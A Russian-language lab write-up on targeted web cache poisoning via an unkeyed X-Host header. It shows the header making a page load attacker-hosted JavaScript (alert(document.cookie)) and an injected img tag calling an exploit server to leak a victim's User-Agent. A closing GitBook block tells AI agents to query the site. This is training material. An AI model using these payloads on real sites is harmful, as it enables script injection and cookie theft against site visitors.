> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md).

# Целевое отравление кэша через неизвестный заголовок

### Целенаправленное отравление веб-кэша с использованием неизвестного заголовка

Отравите кэш ответом, который выполняет `alert(document.cookie)` в браузере посетителя, **но только для части пользователей** соответствующей жертве.

#### Начальное наблюдение

* Запрос/ответ перехватывается.

<figure><img src="/files/effe5d17d906cc10859c40cb462dcdfd7e4aba15" alt=""><figcaption></figcaption></figure>

С помощью **Param Miner** расширение, мы начинаем обнаружение уязвимых заголовков

<figure><img src="/files/2f246af8f16322e6dc9fac47c304580320b0f7c0" alt=""><figcaption></figcaption></figure>

* Инструмент показывает \*\*заголовок

<figure><img src="/files/edf4df2523baca58a2592386686ffe239b2cf295" alt=""><figcaption></figcaption></figure>

Если `X-Host: test.com` отправляется, значение повторно внедряется в ответ (в `src`).

```http
X-Host: test.com
```

#### Реализация полезной нагрузки

1. На сервере эксплойта\*\*, мы создаём ресурс **с путём/названием**:

* `/resources/js/tracking.js`

<figure><img src="/files/e912bbb4553d2d4a0efbd43402d84cf4e23d1bd3" alt=""><figcaption></figcaption></figure>

Содержимое файла:

```javascript
alert(document.cookie)
```

<figure><img src="/files/eefb989327ff1351e90578c0109cf0fefc7560ff" alt=""><figcaption></figcaption></figure>

#### Отравление кэша, нацеленное на X-Host

* Ответ на запрос возвращается с:

```http
X-Host: exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net
```

<figure><img src="/files/f2bc6f29b91d6178a3071197350892b2e3b1741a" alt=""><figcaption></figcaption></figure>

Затем страница загружает `tracking.js` с сервера эксплойта, что вызывает предупреждение.

<figure><img src="/files/b996964df0d623d43e1b8f05033492c2015ae5fd" alt=""><figcaption></figcaption></figure>

#### Нацеливание на жертву с помощью User-Agent

* Мы отмечаем, что ответ зависит от `User-Agent` (через `Vary`), поэтому, чтобы достичь жертвы, мы должны **знать User-Agent жертвы**.

<figure><img src="/files/593c7eb52b7516553367e8f4a47ae6577dfa9011" alt=""><figcaption></figcaption></figure>

Оставьте комментарий, который заставляет отправить запрос на сервер эксплойта:

```http
<img src="https://exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net/">
```

<figure><img src="/files/af135f7b3e6d585df29c606172653d61418f64bd" alt=""><figcaption></figcaption></figure>

В журналах сервера эксплойта восстанавливается User-Agent жертвы:

<figure><img src="/files/a1f9ab1a79245f754a8aa72e6c4df028e39869bd" alt=""><figcaption></figcaption></figure>

`Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
